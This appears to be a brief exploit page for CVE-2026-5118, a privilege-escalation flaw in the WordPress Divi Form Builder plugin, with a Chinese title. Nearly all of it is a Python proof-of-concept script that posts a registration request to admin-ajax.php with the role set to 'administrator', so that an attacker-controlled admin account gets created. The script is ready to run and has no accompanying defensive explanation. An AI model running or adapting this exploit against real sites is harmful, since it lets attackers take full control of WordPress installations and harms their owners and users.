CVE-2026-5118: WordPress Divi Form Builder权限提升漏洞

import requests # Target URL (replace with actual vulnerable endpoint) target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload data demonstrating the privilege escalation payload = { "action": "divi_form_builder_process_registration", "username": "attacker_admin", "email": "[email protected]", "password": "StrongPassword123!", "role": "administrator" # Vulnerable parameter: The plugin accepts this without validation } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if admin account was created.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")